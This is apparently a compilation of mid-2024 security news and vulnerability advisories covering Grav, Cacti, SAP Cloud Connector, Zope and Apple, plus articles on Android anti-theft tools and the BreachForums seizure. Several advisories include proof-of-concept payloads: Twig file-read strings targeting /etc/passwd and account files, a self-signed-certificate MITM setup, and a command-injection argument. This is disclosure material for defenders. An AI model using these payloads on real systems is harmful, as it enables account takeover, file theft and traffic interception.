### Summary
A low privilege user account with page edit privilege can read any server files using Twig Syntax. This includes Grav user account files - /grav/user/accounts/*.yaml. This file stores hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

### Proof Of Concept
`{{ read_file('/var/www/html/grav/user/accounts/riri.yaml') }}`

Use the above Twig template syntax in a page and observe that the administrator riri's authentication details are exposed accessible by any unauthenticated user. 

![file-read-2-ATO](https://github.com/getgrav/grav/assets/48800246/9dee4daa-f029-40dd-9646-94c794d3f254)

As an additional proof of concept for reading system files, observe the `/etc/passwd` file read using the following Twig syntax:
`{{ read_file('/etc/passwd') }}`

![file-read-etc-passwd](https://github.com/getgrav/grav/assets/48800246/e45de4d4-f81f-42cf-8466-aa36b225ca94)

### Impact
This can allow a low privileged user to perform a full account takeover of other registered users including Adminsitrators. This can also allow an adversary to read any file in the web server.

**Summary**

A low privilege user account with page edit privilege can read any server files using Twig Syntax. This includes Grav user account files - /grav/user/accounts/\*.yaml. This file stores hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

**Proof Of Concept**

{{ read_file('/var/www/html/grav/user/accounts/riri.yaml') }}

Use the above Twig template syntax in a page and observe that the administrator riri's authentication details are exposed accessible by any unauthenticated user.

As an additional proof of concept for reading system files, observe the /etc/passwd file read using the following Twig syntax:  
{{ read_file('/etc/passwd') }}

**Impact**

This can allow a low privileged user to perform a full account takeover of other registered users including Adminsitrators. This can also allow an adversary to read any file in the web server.

**References**

*   GHSA-f8v5-jmfh-pr69
*   getgrav/grav@b6bba9e

GHSA-f8v5-jmfh-pr69: Grav Vulnerable to Arbitrary File Read to Account Takeover

Google is introducing new AI-powered safety tools in Android 15 that can lock down your phone if thieves nab it.

Billions of Android phones are getting new tools to stop phone thieves from accessing your information and to slow down their criminal behavior, Google announced today at its I/O developer conference. Android phones will soon use artificial intelligence to automatically detect when they have been snatched from your hand and lock themselves, as part of the new changes that include adding extra protections to secure your phone if it has been stolen.

The upgrades—some of which will come with the Android 15 operating system, while others will be compatible with older phones—come as phone companies are increasingly building extra measures into their software to thwart rampant levels of phone thefts and further protect people’s data. As well as the stolen phone tools, Google is introducing new changes to Android 15 that will scan how apps are using “sensitive permissions” in real time to detect potentially suspicious app activities.

Around the world, phone thefts are a huge problem—in London, for example, a phone is stolen every six minutes. Thieves riding electric bikes or scooters can snatch phones out of people’s hands, pickpockets can easily nab devices from bags, and others are known to peer over shoulders to learn a phone’s PIN before they steal the device.

Stolen phones can be resold if they are unlocked or passed on to others who can break them down for parts and sell those components. However, some criminals will also try to access banking or crypto apps and transfer money. “The thieves profit from the physical device themselves, but they also increasingly are trying to get into the content of the device, where the most valuable data is stored,” Jianing Sandra Guo, an Android security and privacy product manager at Google, tells WIRED. Some thieves, if they have a locked phone, spam people with phishing emails and messages to friends to try and get login details.

Google’s anti-theft tools have been designed to add more protection before a phone is stolen, during the theft, and after a phone has been taken, Guo explains. In keeping with Google’s and the wider tech industry’s push, some of these have been built using artificial intelligence as a key component.

Courtesy of Google

Android’s new Theft Detection Lock uses Google’s AI to determine when your phone has been snatched from your hand. If it detects this, the phone’s screen will automatically be locked. Using smartphone sensors, such as the accelerometer and gyroscope, Google trained its algorithms to detect sudden changes in the phone’s positioning and the motions that might indicate it has been snatched.

“There’s a grabbing of the phone, changing hands, and then an attacker running, biking, or even driving away with a device,” Guo says. To train the algorithm, Google’s research staff studied how phones are commonly stolen, then its teams re-created snatching events against each other to collect data about what a simulated theft looks like.

Thieves stealing phones, Guo says, will often open the camera app when they don’t know the phone’s PIN, to stop them from losing access to the device. They also often try to disconnect it from cell networks for a long period of time so they can’t be locked out of the device remotely. The company’s new Offline Device Lock will lock your screen when the phone is offline for an extended period of time, if the setting is turned on.

To increase protections before a phone is stolen, Google says in a blog post, the company is adding four data protection features that can help keep your information locked down. The first stops your phone from being set up after a factory reset, unless the person knows your login details. “This renders a stolen device unsellable, reducing incentives for phone theft,” Google vice president Suzanne Frey writes.

There’s also a new “private spaces” option where you can store sensitive apps, such as banking apps, that require a second PIN or use of your biometrics, such as a fingerprint, to access. There are also extra authentication controls being put in place: If a thief tries to disable Google's Find My Device location-tracking service they will need to also use your PIN, password, or biometric information to unlock it. If a thief does know your PIN, it will also be possible to turn on the need for biometric authentication to make changes to important Google account and device settings, such as a PIN change or turning off anti-theft settings.

The extra authentication features are similar to those introduced by Apple in its Stolen Device Protection system that debuted in iOS 17.3 earlier this year, although Google’s theft motion detection goes further than these tools. The aim of all anti-theft options is to lock down the information stored on phones but also to make it harder for criminals to abuse devices when they have them. Making it more difficult for criminals to resell phones or transfer money may help to deter thefts.

If your phone does get stolen, Android already allows phones to be locked and wiped. However, Guo says, the experience of having a phone swiped from your hands is a “traumatic” experience, and in the aftermath, people may not remember all their Google account login details to close off access to the phone. To address this, Google’s new Remote Lock feature will allow people to lock their phone using just a phone number. “The content of the device is protected, and it buys the user a lot of time … to be able to organize themselves and do further remediation,” Guo says.

Google’s new protections around factory resets will launch with Android 15, while some of the other features will be available later this year. Guo says that, where possible, Google has tried to make the features work on versions of the software as old as Android 10.

Aside from the anti-phone-theft tools, Android is coming with other security and privacy updates. Google’s app safety system, Google Play Protect, scans billions of apps every day to detect malware, but now this is being expanded to do live scanning on people’s phones to better detect suspicious behavior. “With live threat detection, Google Play Protect’s on-device AI will analyze additional behavioral signals related to the use of sensitive permissions and interactions with other apps and services,” Dave Kleidermacher, a Google vice president, writes in a blog post.

Other security-related updates to Android 15 include hiding notifications and one-time passwords from appearing if you are sharing your phone’s screen with others, hiding login details if you are logging in to an app or website while sharing your screen, and identifying when cell connections are unencrypted and alerting people if there is a “potential false cellular base station” or IMSI catcher nearby that is logging a user’s phone.

_Updated 2:45 pm ET, May 15, 2024, to clarify that several new features will be included in updates that are separate from Android 15 itself, according to Google._

Android Update: Theft Detection Lock Knows When Your Phone Is Stolen

By Waqas
In a major blow to cybercrime, Breach Forums, a notorious online marketplace for stolen data, has been seized by the FBI and Department of Justice (DoJ). This unprecedented takedown includes not just the clear web domain, but also the dark web, escrow sections and Telegram accounts.
This is a post from HackRead.com Read the original post: Popular Cyber Crime Forum Breach Forums Seized by Police

The FBI and the Department of Justice (DoJ) have seized the infamous cybercrime and hacker forums **Breach Forums**. This breaking development occurred just an hour ago when the forum’s homepage was replaced by a message from the authorities announcing the seizure.

This seizure differs from previous ones, as Hackread.com can confirm. Authorities have not only managed to take over Breach Forums’ clear net domain, but they have also seized its Escrow domain and dark web domain accessible through the Tor browser.

> _“Breach Forums is under the control of the FBI. The website has been taken down by the FBI and DoJ with assistance from international partners. We are reviewing the site’s backend data. If you have information to report about cybercriminal activity on BreachForums, please contact us.”_
> 
> FBI on Breach Forums

Since this was an international law enforcement operation, the countries involved included New Zealand, Australia, the United Kingdom, Switzerland, Ukraine, and Iceland.

Screenshot: Hackread.com

Furthermore, the FBI has taken over additional communication channels associated with the forum. This includes the official Telegram account of the forum @Breachforums, the group chat Telegram account @Baphchat, and the official Telegram group used by its main administrator Baphomet @OfficialBaphomet to announce critical updates.

> _“This Telegram chat is under the control of the FBI. The BreachForums website has been taken down by the FBI and DOJ with assistance from international partners. We are reviewing the site’s backend data. If you have information to report about cybercriminal activity on BreachForums, please contact us.”_
> 
> FBI on Telegram

Screenshot: Hackread.com

****Arrest Made?****

As of now, the FBI and the DoJ have not disclosed any details regarding arrests. However, ShinyHunters confirmed to _Hackread.com_ that Baphomet is one of the administrators who was arrested and shared Breach Forums’ credentials with the authorities.

****History of Breach Forums After Raid Forums****

Breach Forums drew inspiration from the now-seized Raid Forums (RF), which was created and administered by Omnipotent, also known as **Diogo Santos Coelho**. Following the **shutdown of Raid Forums**, a member known as “Pompompurin” created a new version, opting to name it Breach Forums instead of continuing Raid Forum’s legacy.

After a brief period of success, Breach Forums met the same fate as Raid Forums when it was taken down by the FBI. Its administrator, **Pompompurin**, also known as Conor Brian Fitzpatrick, **was arrested in New York**.

It’s noteworthy that while Coelho continues to face legal battles in the United Kingdom, Fitzpatrick was **charged** and received a 20-year supervised sentence.

In June 2023, Hackread.com exclusively reported on the revival of Breach Forums **under the leadership of ShinyHunters**, a highly notorious hacker group. Since then, the group has been operational, making headlines for several high-profile data breaches and leaks. Notable incidents include:

*   **Dell**
*   **AT&T**
*   **Acuity**
*   **Europol**
*   **Space-Eyes**
*   **Home Depot**
*   **Robert Half**
*   **Hathway ISP**
*   **LA Intl. Airport**
*   **Weee! Grocery**
*   **General Electric**
*   **Facebook Marketplace**
*   **HSBC & Barclays Banks**
*   **Cybersecurity firm Zscaler**

_and 100s of others._

Narayana Pappu, CEO at Zendata, a San Francisco-based provider of data security and privacy compliance solutions commented on the seizure stating, _“_It is highly likely that the forum will eventually reappear under the same or different name. As far as the previously stolen data leaked on the site, I expect that multiple local copies of it have been downloaded by actors participating in the forums, so there’s continued exposure. Beyond that, the forum operators may have backups of this information, unless the FBI/DOJ also got the operators/backups,_“_ Narayana explained.

_“_Most people participating in these forums are fairly sophisticated and would have protected their identities, however, some folks could be tracked based on their IP addresses, telegram account information, email addresses, etc… Therefore, this will likely be a deterrent to some extent._“_

Nevertheless, Hackread.com is closely monitoring the situation. Once there is an official update from either of the agencies involved, this article will be updated accordingly with the latest information.

1.  Finnish Dark Web Marketplace PIILOPUOTI Seized
2.  NetWire Malware Site and Server Seized, Admin Arrested
3.  Hive Ransomware Gang Disrupted; Servers, Dark Web Site Seized
4.  Genesis Market’s Clearnet domain seized; Dark Web site still online
5.  WT1SHOP Cybercrime Market Seized by US, Portuguese Authorities

Popular Cyber Crime Forum Breach Forums Seized by Police

Cacti versions 1.2.26 and below suffer from a remote code execution execution vulnerability in import.php.

    ----------------------------------------------------------------Cacti <= 1.2.26 (import.php) Remote Code Execution Vulnerability----------------------------------------------------------------[-] Software Link:https://cacti.net[-] Affected Versions:Version 1.2.26 and prior versions.[-] Vulnerability Description:The vulnerability is located within the "import_package()" functiondefined into the /lib/import.php script. This function blindly truststhe filename and file content provided within the uploaded XML data,and writes such files into the Cacti base path (or even outside, sincePath Traversal sequences are not filtered). This can be exploited towrite or overwrite arbitrary files on the web server, leading toexecution of arbitrary PHP code or other security impacts.Successful exploitation of this vulnerability requires an user accounthaving the "Import Templates" permission.[-] Solution:Upgrade to version 1.2.27 or later.[-] Disclosure Timeline:[17/01/2024] - Vendor notified through GitHub[12/05/2024] - Version 1.2.27 released[13/05/2024] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org) hasassigned the name CVE-2024-25641 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Other References:https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88[-] Original Advisory:https://karmainsecurity.com/KIS-2024-04

Cacti 1.2.26 Remote Code Execution

SAP Cloud Connector versions 2.15.0 through 2.16.1 were found to happily accept self-signed TLS certificates between SCC and SAP BTP.

SEC Consult Vulnerability Lab Security Advisory < 20240513-0 >  
=======================================================================  
               title: Tolerating Self-Signed Certificates  
             product: SAP® Cloud Connector  
  vulnerable version: 2.15.0 - 2.16.1 (Portable and Installer)  
       fixed version: 2.16.2 (Portable and Installer)  
          CVE number: CVE-2024-25642  
              impact: high  
            homepage: https://www.sap.com/about.html  
               found: 2023-11-13  
                  by: Mingshuo Li (Office Munich)  
                      Fabian Hagg  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business  
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"The Cloud Connector is an optional on-premise component that is needed to  
integrate on-demand applications with customer backend services and is the  
counterpart of SAP Connectivity service."

Source: https://tools.hana.ondemand.com/#cloud

Business recommendation:  
------------------------  
SEC Consult recommends to implement the security note 3424610, where the  
documented issue is fixed in version 2.16.2 according to the vendor. We  
advise installing the correction as a matter of priority to keep  
business-critical data secured.

Source: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/february-2024.html

Vulnerability overview/description:  
-----------------------------------  
1) Tolerating Self-Signed Certificates (CVE-2024-25642)  
As per vendor documentation, the authentication between SCC and SAP BTP is guaranteed  
mutually:

"The tunnel itself is using TLS with strong encryption of the communication,  
and mutual authentication of both communication sides, the client side  
(Cloud Connector) and the server side (SAP BTP)."

Source: https://help.sap.com/docs/connectivity/sap-btp-connectivity-cf/inbound-connectivity#tls-tunnel

It was however discovered that the SCC trusts self-signed X.509 server certificates  
for transport security to establish outbound connections with cloud-related  
endpoints. Thus, an attacker can impersonate the genuine servers to interact  
with the SCC, hence breaking the mutual authentication promise. Our analysis shows  
furthermore that the product does not implement Certificate Pinning for the  
trusted endpoints.

The security impact of this vulnerability is rated high due to the trust put  
into self-signed certificates, SCC is unable to distinguish between genuine and  
malicious SAP BTP endpoints, rendering trivial adversary-in-the-middle attacks  
possible.

Proof of concept:  
-----------------  
1) Tolerating Self-Signed Certificates (CVE-2024-25642)  
A "tunnel" established between a subaccount of SAP BTP and SCC represents a  
long-lived bi-directional WebSocket over TLS customized by the vendor.  
Such a tunnel is initiated by the SCC, known as reverse invoke approach,  
to give the administrator full control of the tunnel.

Two tunnels established by SCC are protected by TLS with respect to encrypted  
communication. However, SCC does not verify the authenticity of the  
certification authority, hence allowing an attacker to impersonate the target  
server, using self-signed certificates.

In particular, the attack is targeted at the following two endpoints, but not  
limited to the region host us10.

- connectivitynotification.cf.us10.hana.ondemand.com  
- connectivity.us10.trial.applicationstudio.cloud.sap

Note that the following endpoint, which is used for the initial certificate  
signing request by SCC and to receive the BTP subaccount credentials, is  
not susceptible to this issue.

- connectivitycertsigning.cf.us10.hana.ondemand.com

Nonetheless, it suffices to silently eavesdrop and manipulate network traffic  
between SCC and SAP BTP by impersonating the two vulnerable endpoints above.

Without loss of generality, the first endpoint is taken as example to  
demonstrate the issue by the following steps:

1. Add an entry in /etc/hosts of the SCC host as below to resolve the host name  
    to an attacker-controlled IP address:

    192.168.1.100       connectivitynotification.cf.us10.hana.ondemand.com

2. Generate a self-signed certificate with the spoofed hostname as common name

```  
$ openssl req -x509 -newkey rsa:4096 -keyout conn-noti-key.pem -out conn-noti-cert.pem -sha256 -days 3650 -nodes -subj "/C=DE/ST=Baden-Wuerttemberg/L=Walldorf/O=SAP   
SE/OU=ITSecurity/CN=connectivitynotification.cf.us10.hana.ondemand.com"  
```

3. Start an HTTPS server on the attacker machine to receive the connection from  
    SCC, using the self-signed certificate created in step 2

The following Python script can be used to start the HTTPS server:  
```  
$ cat https-dummy-server.py  
import http.server  
import ssl

server_address = ("192.168.1.100", 443)  
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)  
httpd.socket = ssl.wrap_socket(httpd.socket,  
     server_side=True,  
     certfile="self-signed-cert/conn-noti-cert.pem",  
     keyfile="self-signed-cert/conn-noti-key.pem",  
     ssl_version=ssl.PROTOCOL_TLS)  
httpd.serve_forever()  
```

4. Connect to a subaccount of BTP, for example US East AWS, in the SCC  
    Administration UI

As soon as the connection is launched, the dummy web server will receive the  
request as shown below:

```  
$ python3 https-dummy-server.py  
192.168.1.200 - - [10/Nov/2023 12:00:00] "GET /connectivity HTTP/1.1" 200 -  
```

This observation confirms that the TLS connection between SCC and the spoofed  
BTP endpoint operated on the attacker's machine has been successfully established  
although the server presented a self-signed certificate. No security warning  
message is being displayed in the Administration UI, making the attack  
surreptitious.

Vulnerable / tested versions:  
-----------------------------  
The following versions have been tested which were the latest versions available  
at the time of the test:

* SAP Cloud Connector Linux x86_64 Version 2.16.0  
* SAP Cloud Connector Linux (Portable) x86_64 Version 2.16.0

According to the vendor, the vulnerability is a regression and affects the  
versions 2.15.0 - 2.16.1.

Vendor contact timeline:  
------------------------  
2023-11-14: Contacting vendor through vulnerability submission web form  
2023-11-17: Vendor confirms receipt and assign SAP security incident numbers to  
             the four submitted findings: 2370150975, 2370150977, 2370150994, 2370151022  
2023-11-20: Vendor informs the reported issues be assigned the appropriate  
             development teams for analysis  
2023-12-05: Requesting status update  
2023-12-05: Vendor informs that 2370151022 be rejected  
2023-12-05: Issuing rebuttal for 2370151022  
2023-12-06: Vendor contemplates further analysis  
2023-12-14: Vendor decides not to take any action on 2370151022 and rejects  
             2370150977 and 2370150975 as well.  
2023-12-15: Vendor accepts 2370150994  
2024-01-05: Asked vendor to comment on the three rejected issues  
2024-01-10: Vendor gives detailed rationale for the rejection of 2370150975  
2024-01-12: Issuing rebuttal for 2370150975  
2024-01-15: Vendor insists on rejection of 2370150975 and closes the ticket.  
             Removing three rejected potential security issues from advisory.  
2024-02-13: Release of SAP Security Patch Day, security note #3424610  
2024-02-26: Asking for the disclosure guideline to publish finding 2370150994  
2024-02-26: Vendor confirms the three-month embargo  
2024-05-13: Coordinated release of SEC Consult advisory.

Solution:  
---------  
The vendor provides a patched version 2.16.2 which can be downloaded from their  
website:  
https://tools.hana.ondemand.com/#cloud

Also see the vendor's security note #3424610 for further details:  
https://me.sap.com/notes/3424610

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF M. Li, F. Hagg / @2024

SAP Cloud Connector 2.16.1 Missing Validation

Zope version 5.9 suffers from a command injection vulnerability in /utilities/mkwsgiinstance.py.

    # Vulnerability Report## Title: Command Argument Injection Vulnerability in Zope WSGI Instance Creation Script Leading to RCE### Description:A command Argument injection vulnerability has been identified in the Zope WSGI instance creation script used by the Zope web application server framework, which is maintained by the Zope Foundation. The script, mkwsgiinstance, facilitates the setup of new Zope WSGI application instances and involves specifying the Python interpreter among other parameters via command-line arguments. The flaw stems from insufficient validation of the Python interpreter path, allowing an attacker to execute arbitrary shell commands.### Affected Product:Product: Zope WSGI instance creation script (mkwsgiinstance)Version: All versions prior to the most recent update-Impact:This vulnerability permits an attacker with local access to the server to execute arbitrary commands with the privileges of the user running the mkwsgiinstance script. The potential impacts include unauthorized information disclosure### POC:```bash(env) root@lab:/opt/Zope# mkwsgiinstance -p "/usr/bin/mkdir" -d "/tmp/temp;"Please choose a username and password for the initial user.These will be the credentials you use to initially manageyour new Zope instance.Username: dPassword: Verify password: (env) root@lab:/opt/Zope# ls /tmp'temp;'```In this example, the attacker replaces the Python interpreter argument (-p) with the mkdir command, followed by an arbitrary directory path. Due to inadequate command-line argument sanitation, the script executes the mkdir command, thus illustrating arbitrary command execution.### Vulnerable Code Snippet:```pythonif opt in ("-p", "--python"):    python = os.path.abspath(os.path.expanduser(arg))    if not os.path.exists(python) and os.path.isfile(python):        usage(sys.stderr, "The Python interpreter does not exist.")        sys.exit(2)```This code snippet fails to adequately validate the python variable that influences subprocess commands directly, enabling potential command injection when malicious inputs are utilized.CVSS Calculated Vulnerability Score:https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H### Credits:This vulnerability was disclosed by Aymane MAZGUITI / Ilyase Dehy.

Zope 5.9 Command Injection

Apple Security Advisory 05-13-2024-8 - tvOS 17.5 addresses bypass and code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-05-13-2024-8 tvOS 17.5

tvOS 17.5 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/HT214102.

Apple maintains a Security Releases page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

AppleAVD  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-27804: Meysam Firouzi (@R00tkitSMM)

AppleMobileFileIntegrity  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker may be able to access user data  
Description: A logic issue was addressed with improved checks.  
CVE-2024-27816: Mickey Jin (@patch1t)

Maps  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to read sensitive location information  
Description: A path handling issue was addressed with improved  
validation.  
CVE-2024-27810: LFY@secsys of Fudan University

RemoteViewServices  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker may be able to access user data  
Description: A logic issue was addressed with improved checks.  
CVE-2024-27816: Mickey Jin (@patch1t)

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker with arbitrary read and write capability may be able  
to bypass Pointer Authentication  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 272750  
CVE-2024-27834: Manfred Paul (@_manfp) working with Trend Micro's Zero  
Day Initiative

Additional recognition

App Store  
We would like to acknowledge an anonymous researcher for their  
assistance.

CoreHAP  
We would like to acknowledge Adrian Cable for their assistance.

Managed Configuration  
We would like to acknowledge 遥遥领先 (@晴天组织) for their assistance.

Apple TV will periodically check for software updates. Alternatively,  
you may manually check for software updates by selecting "Settings ->  
System -> Software Update -> Update Software."  To check the current  
version of software, select "Settings -> General -> About."  
All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 05-13-2024-8

Apple Security Advisory 05-13-2024-7 - watchOS 10.5 addresses bypass and code execution vulnerabilities.

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APPLE-SA-05-13-2024-7 watchOS 10.5

watchOS 10.5 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/HT214104.

Apple maintains a Security Releases page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

AppleAVD  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-27804: Meysam Firouzi (@R00tkitSMM)

AppleMobileFileIntegrity  
Available for: Apple Watch Series 4 and later  
Impact: An attacker may be able to access user data  
Description: A logic issue was addressed with improved checks.  
CVE-2024-27816: Mickey Jin (@patch1t)

Maps  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to read sensitive location information  
Description: A path handling issue was addressed with improved  
validation.  
CVE-2024-27810: LFY@secsys of Fudan University

RemoteViewServices  
Available for: Apple Watch Series 4 and later  
Impact: An attacker may be able to access user data  
Description: A logic issue was addressed with improved checks.  
CVE-2024-27816: Mickey Jin (@patch1t)

Shortcuts  
Available for: Apple Watch Series 4 and later  
Impact: A shortcut may output sensitive user data without consent  
Description: A path handling issue was addressed with improved  
validation.  
CVE-2024-27821: Kirin (@Pwnrin), zbleet, and Csaba Fitzl (@theevilbit)  
of Kandji

WebKit  
Available for: Apple Watch Series 4 and later  
Impact: An attacker with arbitrary read and write capability may be able  
to bypass Pointer Authentication  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 272750  
CVE-2024-27834: Manfred Paul (@_manfp) working with Trend Micro's Zero  
Day Initiative

Additional recognition

App Store  
We would like to acknowledge an anonymous researcher for their  
assistance.

CoreHAP  
We would like to acknowledge Adrian Cable for their assistance.

HearingCore  
We would like to acknowledge an anonymous researcher for their  
assistance.

Managed Configuration  
We would like to acknowledge 遥遥领先 (@晴天组织) for their assistance.

Instructions on how to update your Apple Watch software are available  
at https://support.apple.com/HT204641  To check the version on  
your Apple Watch, open the Apple Watch app on your iPhone and select  
"My Watch > General > About".  Alternatively, on your watch, select  
"My Watch > General > About".  
All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 05-13-2024-7

Apple Security Advisory 05-13-2024-6 - macOS Monterey 12.7.5 addresses an issue where a malicious application may be able to access Find My data.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-05-13-2024-6 macOS Monterey 12.7.5

macOS Monterey 12.7.5 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/HT214105.

Apple maintains a Security Releases page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Find My  
Available for: macOS Monterey  
Impact: A malicious application may be able to access Find My data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23229: Joshua Jewett (@JoshJewett33)

Foundation  
Available for: macOS Monterey  
Impact: An app may be able to access user-sensitive data  
Description: A logic issue was addressed with improved checks.  
CVE-2024-27789: Mickey Jin (@patch1t)

Additional recognition

App Store  
We would like to acknowledge an anonymous researcher for their  
assistance.

macOS Monterey 12.7.5 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 05-13-2024-6

Apple Security Advisory 05-13-2024-5 - macOS Ventura 13.6.7 addresses bypass vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-05-13-2024-5 macOS Ventura 13.6.7macOS Ventura 13.6.7 addresses the following issues.Information about the security content is also available athttps://support.apple.com/HT214107.Apple maintains a Security Releases page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.FoundationAvailable for: macOS VenturaImpact: An app may be able to access user-sensitive dataDescription: A logic issue was addressed with improved checks.CVE-2024-27789: Mickey Jin (@patch1t)Login WindowAvailable for: macOS VenturaImpact: An attacker with knowledge of a standard user's credentials canunlock another standard user's locked screen on the same MacDescription: A logic issue was addressed with improved state management.CVE-2023-42861: an anonymous researcher, 凯 王, Steven Maser, MatthewMcLean, Brandon Chesser, CPU IT, inc, and Avalon IT Team of ConcentrixRTKitAvailable for: macOS VenturaImpact: An attacker with arbitrary kernel read and write capability maybe able to bypass kernel memory protections. Apple is aware of a reportthat this issue may have been exploited.Description: A memory corruption issue was addressed with improvedvalidation.CVE-2024-23296Additional recognitionApp StoreWe would like to acknowledge an anonymous researcher for theirassistance.macOS Ventura 13.6.7 may be obtained from the Mac App Store orApple's Software Downloads web site:https://support.apple.com/downloads/All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmZCtJoACgkQX+5d1TXaIvrg7hAAr/7mbBr3n+eJIP7aXfLdQWZb/NQLK7i87jk0RDCweCeWf2ZDGSjEXn3I0t8qS9bFjouQi3c6Zgu96zIbZ7QHS2KZ3w+41Cjzknb+wKoxb6UkbDe8gaay/QODBQH/GVcFjdEKLJCbnBBjatpf9PgBTkMJQ7UvXbfCUksowN6dUnTcRyxB8fPyFp7yZrKfGLe2mfO3E6kx+lcqThgiKsKuuZNju0A0d8wFyEkKqcQOPtg6PYiM4MTkI+GsckdB1sYy9dK219Gx3s9kj/RUmjBl/rNweC6s85ltqQgzhO0vZtwlcoThM7eMmCAHddjx3YMbh2iv2ypE44xv7XzGik5PjNhWHbVqA2dvFsTuA1K1ZYy04dKQ7i9A/LAcs1THVT29cIA4Xzj1lWBviVHjmFYZG2xkssKf1haqs9H0YB0coZGrNMKVwrW5HBf71oYCr49z/iypIpM4dc7bC7VTPe25Q/Ri5da1D7tTtElY33Vi0uPTqcSQgIwAEN+kYNEbJrH1itk/kyW0y44TRSlo477UyDWXaNZXh8N7ClU1svAl7qUnDstLIPve+watsvlr2/nLwUEvV/3wbja3D6X35M/lwEX8rDA1HVjlNKEDfhV76xRae6Tx36y/5hGDCb6b666e9vh7p7KcaFd54TX+gnH8swkENhVBLV+mZWfSq0fMPTs==xqZE-----END PGP SIGNATURE-----

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#web